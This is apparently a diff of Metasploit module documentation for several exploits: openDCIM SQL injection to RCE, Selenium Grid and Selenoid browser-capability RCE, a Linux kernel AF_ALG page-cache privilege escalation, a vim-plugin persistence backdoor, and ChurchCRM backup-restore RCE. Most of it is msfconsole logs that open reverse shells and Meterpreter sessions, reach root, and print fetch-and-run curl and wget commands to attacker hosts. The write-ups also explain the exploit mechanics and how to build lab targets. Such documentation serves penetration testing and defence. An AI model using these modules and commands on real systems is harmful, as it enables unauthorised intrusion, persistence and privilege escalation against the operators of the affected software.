HttpUsername => dcim
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set HttpPassword dcim
HttpPassword => dcim
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set LHOST 192.168.64.1
LHOST => 192.168.64.1
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set payload cmd/unix/reverse_bash
payload => cmd/unix/reverse_bash
msf6 exploit(linux/http/opendcim_install_sqli_rce) > check
[*] install.php is accessible, testing time-based SQL injection
[*] Test 1/3: SLEEP(5)
[*] Elapsed time: 5.1 seconds.
[*] Test 2/3: SLEEP(4)
[*] Elapsed time: 4.0 seconds.
[*] Test 3/3: SLEEP(6)
[*] Elapsed time: 6.1 seconds.
[+] 127.0.0.1:18091 - The target appears to be vulnerable. Successfully tested SQL injection (3/3 delay checks passed).
msf6 exploit(linux/http/opendcim_install_sqli_rce) > exploit
[*] Started reverse TCP handler on 192.168.64.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Successfully tested SQL injection (3/3 delay checks passed).
[*] Performing LORI attack (LDAP Override Remote Injection)
[*] Triggering exec() via report_network_map.php
[*] Restoring original configuration
[+] Configuration restored successfully.
[*] Command shell session 1 opened (192.168.64.1:4444 -> 192.168.64.3:45678) at 2026-02-28 15:00:00 +0100
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
### openDCIM 24.01 on Ubuntu - Meterpreter via CmdStager (Target 1)
```
msf6 > use exploit/linux/http/opendcim_install_sqli_rce
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set RPORT 18091
RPORT => 18091
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set HttpUsername dcim
HttpUsername => dcim
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set HttpPassword dcim
HttpPassword => dcim
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set LHOST 192.168.64.1
LHOST => 192.168.64.1
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set target 1
target => 1
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/opendcim_install_sqli_rce) > exploit
[*] Started reverse TCP handler on 192.168.64.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Successfully tested SQL injection (3/3 delay checks passed).
[*] Executing command stager
[*] Sending stager progress: 100.00% (250/250 bytes)
[*] Restoring original configuration
[+] Configuration restored successfully.
[*] Sending stage (3045380 bytes) to 192.168.64.3
[*] Meterpreter session 1 opened (192.168.64.1:4444 -> 192.168.64.3:54321) at 2026-02-28 15:05:00 +0100
meterpreter > getuid
Server username: www-data
```
### openDCIM with SetEnv REMOTE_USER (No Basic Auth)
```
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set RHOSTS 192.168.1.100
RHOSTS => 192.168.1.100
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set RPORT 80
RPORT => 80
msf6 exploit(linux/http/opendcim_install_sqli_rce) > unset HttpUsername
Unsetting HttpUsername...
msf6 exploit(linux/http/opendcim_install_sqli_rce) > unset HttpPassword
Unsetting HttpPassword...
msf6 exploit(linux/http/opendcim_install_sqli_rce) > set payload cmd/unix/reverse_bash
payload => cmd/unix/reverse_bash
msf6 exploit(linux/http/opendcim_install_sqli_rce) > exploit
[*] Started reverse TCP handler on 192.168.1.50:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Successfully tested SQL injection (3/3 delay checks passed).
[*] Performing LORI attack (LDAP Override Remote Injection)
[*] Triggering exec() via report_network_map.php
[*] Restoring original configuration
[+] Configuration restored successfully.
[*] Command shell session 1 opened (192.168.1.50:4444 -> 192.168.1.100:54321) at 2026-02-28 15:10:00 +0100
```
@@ -0,0 +1,197 @@
## Vulnerable Application
Selenium Grid and Selenoid expose a WebDriver API that allows creating browser sessions
with arbitrary capabilities. When deployed without authentication (the default for both),
an attacker can achieve remote code execution through two browser-specific techniques:
**Chrome (binary override):** The `goog:chromeOptions` binary field can be set to an
arbitrary executable such as `/usr/bin/python3`, since ChromeDriver does not validate it.
This was fixed in Selenium Grid 4.11.0 via the stereotype capabilities merge. All Selenoid
versions remain vulnerable.
**Firefox (profile handler):** A custom profile containing a malicious MIME handler that maps
`application/sh` to `/bin/sh` can be injected via `moz:firefoxOptions`. Navigating to a
`data:` URI with that content type triggers shell execution. This technique has never been
patched and works on all Selenium Grid versions including the latest release (4.40.0 at the
time of writing). This was originally reported in
[SeleniumHQ/selenium#9526](https://github.com/SeleniumHQ/selenium/issues/9526) in May 2021.
The module auto-detects available browsers and selects the best attack vector. Firefox is
preferred as it works on all Grid versions.
The default Docker images run as `seluser`/`selenium` with passwordless sudo, allowing
trivial privilege escalation to root.
The vulnerability affects:
* Selenium Grid < 4.11.0 with Chrome nodes (binary override)
* Selenium Grid - all versions with Firefox nodes (profile handler, unpatched)
* Selenoid - all versions with Chrome or Firefox (project archived December 2024)
This module was successfully tested on:
* selenium/standalone-chrome:4.10.0 on Ubuntu 24.04 (Chrome binary override)
* selenium/standalone-firefox:4.10.0 on Ubuntu 24.04 (Firefox profile handler)
* selenium/standalone-firefox:latest (4.40.0) on Ubuntu 24.04 (Firefox profile handler)
* Selenoid 1.11.3 with selenoid/chrome:128.0 on Ubuntu 24.04 (Chrome binary override)
### Installation (Selenium Grid - Firefox)
1. `docker pull selenium/standalone-firefox:latest`
2. `docker run -d -p 4444:4444 --shm-size="2g" selenium/standalone-firefox:latest`
### Installation (Selenium Grid - Chrome)
1. `docker pull selenium/standalone-chrome:4.10.0`
2. `docker run -d -p 4444:4444 --shm-size="2g" selenium/standalone-chrome:4.10.0`
### Installation (Selenoid)
1. Create `browsers.json`:
```json
{
"chrome": {
"default": "128.0",
"versions": {
"128.0": {
"image": "selenoid/chrome:128.0",
"port": "4444",
"path": "/"
}
}
}
}
```
2. `docker pull selenoid/chrome:128.0`
3. Start Selenoid:
```
docker run -d -p 4444:4444 \
-e DOCKER_API_VERSION=1.44 \
-v $(pwd)/browsers.json:/etc/selenoid/browsers.json:ro \
-v /var/run/docker.sock:/var/run/docker.sock \
aerokube/selenoid:latest-release
```
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use exploit/linux/http/selenium_greed_rce`
4. Do: `set RHOSTS <rhost>`
5. Do: `set LHOST <lhost>`
6. Do: `run`
7. You should get a session
## Options
### BROWSER
Browser to exploit. Default is `auto` which detects available browsers and picks the
best vector (Firefox preferred, Chrome fallback). Can be set to `firefox` or `chrome`
to force a specific browser.
## Scenarios
### Firefox (auto-detected) - selenium/standalone-firefox:4.40.0 on Ubuntu 24.04
```
msf6 > use exploit/linux/http/selenium_greed_rce
[*] No payload configured, defaulting to python/meterpreter/reverse_tcp
msf6 exploit(linux/http/selenium_greed_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(linux/http/selenium_greed_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(linux/http/selenium_greed_rce) > set LPORT 4480
LPORT => 4480
msf6 exploit(linux/http/selenium_greed_rce) > set TARGET 1
TARGET => 1
msf6 exploit(linux/http/selenium_greed_rce) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/selenium_greed_rce) > set FETCH_SRVPORT 9100
FETCH_SRVPORT => 9100
msf6 exploit(linux/http/selenium_greed_rce) > run
[*] Started reverse TCP handler on 172.17.0.1:4480
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Selenium Grid 4.40.0 with Firefox (all versions vulnerable to profile handler)
[*] Auto-selected Firefox (profile handler - works on all Grid versions)
[*] Creating Firefox session with malicious profile...
[*] Session created: 74d019ac-e7eb-4604-9c48-80baf43da5d9
[*] Navigating to data: URI to trigger handler...
[*] Sending stage (3090404 bytes) to 172.17.0.5
[+] Deleted /tmp/EUeiCPJfsLF
[*] Meterpreter session 1 opened (172.17.0.1:4480 -> 172.17.0.5:37004)
meterpreter > getuid
Server username: seluser
meterpreter > sysinfo
Computer : 56a95484dc83
OS : Linux 6.14.0-123037-tuxedo
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
### Chrome (auto-detected) - selenium/standalone-chrome:4.10.0 on Ubuntu 24.04
```
msf6 > use exploit/linux/http/selenium_greed_rce
[*] No payload configured, defaulting to python/meterpreter/reverse_tcp
msf6 exploit(linux/http/selenium_greed_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(linux/http/selenium_greed_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(linux/http/selenium_greed_rce) > set LPORT 4481
LPORT => 4481
msf6 exploit(linux/http/selenium_greed_rce) > run
[*] Started reverse TCP handler on 172.17.0.1:4481
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Selenium Grid 4.10.0 with Chrome (vulnerable to binary override)
[*] Auto-selected Chrome (binary override)
[*] Sending Chrome session request with binary override...
[*] Sending stage (23404 bytes) to 172.17.0.7
[*] Meterpreter session 1 opened (172.17.0.1:4481 -> 172.17.0.7:50292)
meterpreter > getuid
Server username: seluser
meterpreter > sysinfo
Computer : 90f5a4eefae5
OS : Linux 6.14.0-123037-tuxedo
Architecture : x64
Meterpreter : python/linux
meterpreter >
```
### Selenoid 1.11.3 - selenoid/chrome:128.0 on Ubuntu 24.04
```
msf6 > use exploit/linux/http/selenium_greed_rce
[*] No payload configured, defaulting to python/meterpreter/reverse_tcp
msf6 exploit(linux/http/selenium_greed_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(linux/http/selenium_greed_rce) > set LHOST 172.17.0.1
LHOST => 172.17.0.1
msf6 exploit(linux/http/selenium_greed_rce) > set LPORT 4453
LPORT => 4453
msf6 exploit(linux/http/selenium_greed_rce) > run
[*] Started reverse TCP handler on 172.17.0.1:4453
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Selenoid 1.11.3 built at 2024-05-25_12:34:40PM (all versions vulnerable)
[*] Auto-selected Chrome (binary override)
[*] Sending Chrome session request with binary override...
[*] Sending stage (23408 bytes) to 172.17.0.10
[*] Meterpreter session 1 opened (172.17.0.1:4453 -> 172.17.0.10:42984)
meterpreter > getuid
Server username: selenium
meterpreter > sysinfo
Computer : 669a719f93da
OS : Linux 6.14.0-123037-tuxedo
Architecture : x64
Meterpreter : python/linux
meterpreter >
```
@@ -0,0 +1,80 @@
## Vulnerable Application
CVE-2026-31431 is a logic flaw in the Linux kernel's authencesn AEAD template that, when reached via the
AF_ALG socket interface combined with splice(), allows an unprivileged local user to perform a controlled
4-byte write into the page cache of any readable file. Because the corrupted pages are never marked dirty, the
on-disk file is unchanged but the in-memory version is immediately visible system-wide, enabling local
privilege escalation by injecting shellcode into the page cache of a setuid-root binary such as /usr/bin/su.
The vulnerability was introduced by an in-place optimization in algif_aead.c (commit 72548b093ee3, 2017) and
affects essentially all major Linux distributions shipped since then until the fix in commit a664bf3d603d.
## Verification Steps
1. Obtain a session on an affected Linux host
2. Set the PAYLOAD and related datastore options
3. Run the exploit
## Options
N/A
## Scenarios
### Ubuntu 24.04 x64
```
msf exploit(multi/ssh/sshexec) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] 192.168.159.132:22 - Sending stager...
[*] Command Stager progress - 46.74% done (402/860 bytes)
[*] Sending stage (3090404 bytes) to 192.168.159.132
[*] Meterpreter session 24 opened (192.168.159.128:4444 -> 192.168.159.132:38262) at 2026-04-30 14:50:33 -0400
[!] Timed out while waiting for command to return
[*] Command Stager progress - 100.00% done (860/860 bytes)
meterpreter > getuid
Server username: smcintyre
meterpreter > sysinfo
Computer : ubuntu2404
OS : Ubuntu 24.04 (Linux 6.8.0-79-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > background
[*] Backgrounding session 24...
msf exploit(multi/ssh/sshexec) > use exploit/linux/local/cve_2026_31431_copy_fail
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(linux/local/cve_2026_31431_copy_fail) > set SESSION -1
SESSION => -1
msf exploit(linux/local/cve_2026_31431_copy_fail) > set VERBOSE true
VERBOSE => true
msf exploit(linux/local/cve_2026_31431_copy_fail) > set LPORT 5555
LPORT => 5555
msf exploit(linux/local/cve_2026_31431_copy_fail) > exploit
[*] Command to run on remote host: curl -so ./JVvusljc http://192.168.159.128:8080/dau8JtEFWcUux21CRy4HUQ;chmod +x ./JVvusljc;./JVvusljc&
[*] Fetch handler listening on 192.168.159.128:8080
[*] HTTP server started
[*] Adding resource /dau8JtEFWcUux21CRy4HUQ
[*] Started reverse TCP handler on 192.168.159.128:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Using 'python3' on the remote target.
[+] The exploit socket has been created, encryption primitives are available.
[*] Triggering the vulnerability using Python...
[+] The target is vulnerable.
[*] Triggering the vulnerability using Python...
[*] Client 192.168.159.132 requested /dau8JtEFWcUux21CRy4HUQ
[*] Sending payload to 192.168.159.132 (curl/8.5.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 192.168.159.132
[*] Meterpreter session 25 opened (192.168.159.128:5555 -> 192.168.159.132:48976) at 2026-04-30 14:51:18 -0400
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : ubuntu2404
OS : Ubuntu 24.04 (Linux 6.8.0-79-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
@@ -0,0 +1,99 @@
## Vulnerable Application
This module creates a VIM Plugin which executes a payload on VIM startup.
## Verification Steps
1. Install the application if needed
2. Start msfconsole
3. Get a shell on a linux computer with vim installed
4. Do: `use exploit/linux/persistence/vim_persistence`
5. Do: `run`
6. Start `vim` on the remote computer
7. You should get a shell.
## Options
### NAME
Name of the extension. Defaults to random.
## Scenarios
### vim 9.1.2141 on Kali 2026.1
```
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
lhost => 1.1.1.1
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set target 7
target => 7
resource (/root/.msf4/msfconsole.rc)> set srvport 8082
srvport => 8082
resource (/root/.msf4/msfconsole.rc)> set uripath l
uripath => l
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4446
lport => 4446
resource (/root/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 1.1.1.1:4446
[*] Using URL: http://1.1.1.1:8082/l
[*] Server started.
[*] Run the following command on the target machine:
wget -qO b1ULF8bg --no-check-certificate http://1.1.1.1:8082/l; chmod +x b1ULF8bg; ./b1ULF8bg& disown
msf exploit(multi/script/web_delivery) >
[*] 1.1.1.1 web_delivery - Delivering Payload (250 bytes)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 1.1.1.1
[*] Meterpreter session 1 opened (1.1.1.1:4446 -> 1.1.1.1:35126) at 2026-03-30 08:43:36 -0400
msf exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: h00die
meterpreter > sysinfo
Computer : h00die-kali
OS : Debian (Linux 6.18.12+kali-amd64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > background
[*] Backgrounding session 1...
msf exploit(multi/script/web_delivery) > use exploit/linux/persistence/vim_persistence
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(linux/persistence/vim_persistence) > set session 1
session => 1
msf exploit(linux/persistence/vim_persistence) > exploit
[*] Command to run on remote host: curl -so ./mCslKCWV http://1.1.1.1:8080/h21lOsiTyFK6CgBlUqDgZQ;chmod +x ./mCslKCWV;./mCslKCWV&
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Fetch handler listening on 1.1.1.1:8080
[*] HTTP server started
[*] Adding resource /h21lOsiTyFK6CgBlUqDgZQ
[*] Started reverse TCP handler on 1.1.1.1:4444
msf exploit(linux/persistence/vim_persistence) > [*] Running automatic check ("set AutoCheck false" to disable)
[!] Payloads in /tmp will only last until reboot, you may want to choose elsewhere.
[!] The service is running, but could not be validated. VIM is installed
[*] Writing plugin to /root/.vim/plugin/UAxJbJuMy.vim
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/h00die-kali_20260330.4754/h00die-kali_20260330.4754.rc
```
Open vim
```
[*] Client 1.1.1.1 requested /h21lOsiTyFK6CgBlUqDgZQ
[*] Sending payload to 1.1.1.1 (curl/8.18.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 1.1.1.1
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 1.1.1.1:40448) at 2026-03-30 08:48:02 -0400
```
@@ -0,0 +1,516 @@
## Vulnerable Application
ChurchCRM is an open-source, PHP-based CRM designed to help churches manage members, groups, events, and finances.
### Description
This module exploits an authenticated Remote Code Execution (RCE) vulnerability in ChurchCRM versions prior to 6.2.0. The vulnerability, tracked as [CVE-2025-68109](https://nvd.nist.gov/vuln/detail/CVE-2025-68109), resides in the database restoration functionnality.
The application fails to properly validate the integrity and format of uploaded backup files during the restoration process. Specifically, even when file is identified as malfomed or invalid, it is still writen to a web-accessible directory.
An autenticated attacker can leverage this behavior to upload a malicious `.htaccess` file to reconfigure the server's directory permissions, followed by a PHP payload. This allow for the execution of arbitrary code under the context of the web server user.
- Project Homepage: https://churchcrm.io/
- Source Code: https://github.com/ChurchCRM/CRM
- Vulnerability Reference: https://github.com/ChurchCRM/CRM/security/advisories/GHSA-pqm7-g8px-9r77
### Versions tested
- ChurchCRM 6.2.0 (vulnerable)
- ChurchCRM 6.1.0 (vulnerable)
- ChurchCRM 6.0.2 (vulnerable)
### Docker installation
To quickly set up a testing environment for this module, you can use the following Docker configuration. This setup mimics a fresh installation of **ChurchCRM** on an Ubuntu-based LAMP stack and setup the admin user.
- Create a file named `Dockerfile` with the following content:
```Dockerfile
FROM ubuntu:22.04
ENV DEBIAN_FRONTEND=noninteractive
ARG DB_NAME=churchcrm
ARG DB_USER=churchcrm
ARG DB_PASS=churchcrm_password
ARG CHURCHCRM_VERSION=6.8.0
ARG ADMIN_PASS
RUN apt-get update && apt-get install -y software-properties-common \
&& add-apt-repository ppa:ondrej/php -y \
&& apt-get update \
&& apt-get update && apt-get install -y \
apache2 mariadb-server mariadb-client php8.4 php-bcmath \
php-cli php-curl php-dev php-gd php-intl php-mbstring \
php-mysql php-soap php-xml php-zip unzip curl gawk \
&& apt-get clean
ENV VERSION=${CHURCHCRM_VERSION}
WORKDIR /tmp
RUN curl -L -o churchcrm.zip https://github.com/ChurchCRM/CRM/releases/download/$VERSION/ChurchCRM-$VERSION.zip \
&& unzip churchcrm.zip \
&& mv churchcrm /var/www/html/ \
&& mkdir -p /var/www/html/churchcrm/Images/Family \
&& mkdir -p /var/www/html/churchcrm/Images/Person \
&& chown -R www-data:www-data /var/www/html/churchcrm \
&& rm churchcrm.zip
RUN printf "file_uploads = On\n\
allow_url_fopen = On\n\
short_open_tag = On\n\
memory_limit = 256M\n\
upload_max_filesize = 100M\n\
max_execution_time = 360" > /etc/php/8.4/apache2/conf.d/99-churchcrm.ini
RUN echo '<VirtualHost *:80>\n\
DocumentRoot /var/www/html/churchcrm/\n\
<Directory /var/www/html/churchcrm/>\n\
Options -Indexes +FollowSymLinks\n\
AllowOverride All\n\
Require all granted\n\
</Directory>\n\
ErrorLog ${APACHE_LOG_DIR}/error.log\n\
CustomLog ${APACHE_LOG_DIR}/access.log combined\n\
</VirtualHost>' > /etc/apache2/sites-available/churchcrm.conf
RUN a2enmod rewrite && a2dissite 000-default.conf && a2ensite churchcrm.conf
COPY start.sh /start.sh
RUN sed -i 's/\r$//' /start.sh && chmod +x /start.sh
ENV DB_NAME=${DB_NAME}
ENV DB_USER=${DB_USER}
ENV DB_PASS=${DB_PASS}
ENV ADMIN_PASS=${ADMIN_PASS}
EXPOSE 80
CMD ["/start.sh"]
```
- Create a file named `docker-compose.yml` in the same directory:
```yaml
services:
churchcrm:
build:
context: .
args:
- CHURCHCRM_VERSION=6.2.0
- DB_NAME=churchcrm
- DB_USER=churchcrm
- DB_PASS=churchcrm_password
- ADMIN_PASS=AdminPassword123
container_name: churchcrm_app
image: churchcrm-image:latest
ports:
- "80:80"
volumes:
- churchcrm_db_data:/var/lib/mysql
- churchcrm_web_data:/var/www/html/churchcrm
restart: unless-stopped
volumes:
churchcrm_db_data:
churchcrm_web_data:
```
- Create a file named `start.sh` in the same directory too :
```bash
#!/bin/bash
set -e
service mariadb start
mariadb -e "CREATE DATABASE IF NOT EXISTS ${DB_NAME} DEFAULT CHARACTER SET utf8;"
mariadb -e "GRANT ALL ON ${DB_NAME}.* TO \"${DB_USER}\"@\"localhost\" IDENTIFIED BY \"${DB_PASS}\";"
mariadb -e "FLUSH PRIVILEGES;"
BASE_PASSWORD="changeme"
LOG_URL="http://localhost/session/begin"
LOG_USERNAME="admin"
LOG_PASSWORD="$BASE_PASSWORD"
COOKIE_FILENAME="/tmp/cookie.txt"
function get_cookie() {
local cookie_file=$1
curl -s "$LOG_URL" \
-H "Content-Type: application/x-www-form-urlencoded" \
-L -c "$cookie_file" \
--data "User=$LOG_USERNAME&Password=$LOG_PASSWORD" > /dev/null
}
function get_csrf_token() {
local URL=$1
local result=$(curl -s -L -b "$COOKIE_FILENAME" "$URL")
echo "$result" | grep -oP 'name="csrf_token" value="\K[^"]+'
}
function change_password() {
local URL='http://localhost/v2/user/current/changepassword'
local OLD_PASSWORD=$1
local NEW_PASSWORD=$2
local CSRF=$(get_csrf_token "$URL")
curl -s "$URL" \
-H "Content-Type: application/x-www-form-urlencoded" \
-L -b "$COOKIE_FILENAME" \
--data "csrf_token=$CSRF&OldPassword=$OLD_PASSWORD&NewPassword1=$NEW_PASSWORD&NewPassword2=$NEW_PASSWORD&Submit=Save" \
> /dev/null
}
(
until curl --output /dev/null --silent --head --fail http://localhost/; do
echo "En attente d'Apache..."
sleep 2
done
echo "Initialisation du setup ChurchCRM..."
curl -s "http://localhost/setup/" -X POST \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "DB_SERVER_NAME=localhost&DB_SERVER_PORT=3306&DB_NAME=${DB_NAME}&DB_USER=${DB_USER}&DB_PASSWORD=${DB_PASS}&ROOT_PATH=/&URL=http://localhost/"
echo "Changement du mot de passe admin..."
get_cookie "$COOKIE_FILENAME"
change_password "$BASE_PASSWORD" "$ADMIN_PASS"
rm -f "$COOKIE_FILENAME"
echo "Configuration terminée avec succès."
) &
exec apachectl -D FOREGROUND
```
Then, run the following command to start the vulnerable application :
```bash
docker compose build --build-arg CHURCHCRM_VERSION=VERSION_YOU_WANT --build-arg ADMIN_PASS='CUSTOMPASSWORD' && docker compose up -d
```
Where
- `VERSION_YOU_WANT` is the version of ChurchCRM you want to test. To test the vulnerability, you can use version `6.2.0` which is the version tested in the PoC.
- `ADMIN_PASS` is the password of the administrator account. Be aware that this password require a size of at least 6 characters. By default the password is `AdminPassword123`.
Once started, the application will be available at `http://<your-ip>/`.
### Linux installation
If you prefer to set up ChurchCRM on a dedicated Linux host or an LXD container, you can use the official installation script present in the [source code](https://github.com/ChurchCRM/CRM/archive/refs/tags/5.2.0.zip).
> [!WARNING] By default, the installer fetches the latest version of ChurchCRM. To test this specific exploit, you **must** force the script to use the version you want.
For example, if you want to test version `6.2.0`, you can modify the `VERSION` variable in the installation script as follows :
```shell
VERSION=$(eval "$VERSION_CMD") #112
# Become
VERSION="6.2.0"
```
The application should also be available at `http://<your-ip>/`. You will need to manualy setup the admin account's password in order to have access to the restore database functionnality.
## Verification step
1. Start `msfconsole`
2. `use exploit/multi/http/churchcrm_db_restore_rce`
3. Set the target `RHOSTS` and `RPORT` according to the target Host and the port which ChurchCRM's service is running.
4. Set your host and port for the reverse shell connection at `LHOST` and `LPORT`.
5. Set the `TARGETURI` which represent the base path that lead to the ChurchCRM page.
6. Set the `USERNAME` and `PASSWORD` of the admin account.
7. Set the target (0 for Linux, 1 for PHP (In-Memory), 2 for PHP (Fetch)).
8. Set the payload you want to use.
9. Run the exploit with `run`.
## Scenarios
### Linux target : ChurchCRM 6.2.0 on Ubuntu 22.04 LTS (Docker Image)
```bash
msf > use exploit/multi/http/churchcrm_db_restore_rce
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf exploit(multi/http/churchcrm_db_restore_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf exploit(multi/http/churchcrm_db_restore_rce) > set LHOST 172.18.0.1
LHOST => 172.18.0.1
msf exploit(multi/http/churchcrm_db_restore_rce) > set target 0
target => 0
msf exploit(multi/http/churchcrm_db_restore_rce) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf exploit(multi/http/churchcrm_db_restore_rce) > set USERNAME admin
USERNAME => admin
msf exploit(multi/http/churchcrm_db_restore_rce) > set PASSWORD 'Password123!'
PASSWORD => Password123!
msf exploit(multi/http/churchcrm_db_restore_rce) > show options
Module options (exploit/multi/http/churchcrm_db_restore_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD Password123! yes Password for the admin account
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, http, socks5, socks5h
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SRVSSL false no Negotiate SSL/TLS for local server connections
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
USERNAME admin yes Username for the admin account
VHOST no HTTP server virtual host
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on
all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.18.0.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Linux/unix Command (CmdStager)
View the full module info with the info, or info -d command.
msf exploit(multi/http/churchcrm_db_restore_rce) > check
[*] Found ChurchCRM version: 6.2.0
[*] 127.0.0.1:80 - The target appears to be vulnerable. Vulnerable version 6.2.0 detected via CRM-VERSION header.
msf exploit(multi/http/churchcrm_db_restore_rce) > run
[*] Started reverse TCP handler on 172.18.0.1:4444
[*] Getting the session cookie
[+] The session cookie has been received
[*] Uploading the file : .htaccess
[+] The file have been uploaded successfully
[*] Uploading the file : basmIMy.php
[+] The file have been uploaded successfully
[*] Trying to execute the payload
[*] Command Stager progress - 59.76% done (499/835 bytes)
[*] Sending stage (3090404 bytes) to 172.18.0.2
[+] Deleted .htaccess
[+] Deleted basmIMy.php
[*] Meterpreter session 1 opened (172.18.0.1:4444 -> 172.18.0.2:58848) at 2026-03-06 09:23:07 +0100
[*] Command Stager progress - 100.00% done (835/835 bytes)
[+] Payload successfully executed
meterpreter > getpid
Current pid: 259
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : 01209387574a
OS : Ubuntu 22.04 (Linux 6.18.13-arch1-1)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
### PHP (In-Memory) target : ChurchCRM 6.0.2 on Ubuntu 22.04 LTS (Docker Image)
```bash
msf > use exploit/multi/http/churchcrm_db_restore_rce
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf exploit(multi/http/churchcrm_db_restore_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf exploit(multi/http/churchcrm_db_restore_rce) > set LHOST 172.18.0.1
LHOST => 172.18.0.1
msf exploit(multi/http/churchcrm_db_restore_rce) > set target 1
target => 1
msf exploit(multi/http/churchcrm_db_restore_rce) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(multi/http/churchcrm_db_restore_rce) > set USERNAME admin
USERNAME => admin
msf exploit(multi/http/churchcrm_db_restore_rce) > set PASSWORD 'Password123!'
PASSWORD => Password123!
msf exploit(multi/http/churchcrm_db_restore_rce) > show options
Module options (exploit/multi/http/churchcrm_db_restore_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD Password123! yes Password for the admin account
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, http, socks5, socks5h
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SRVSSL false no Negotiate SSL/TLS for local server connections
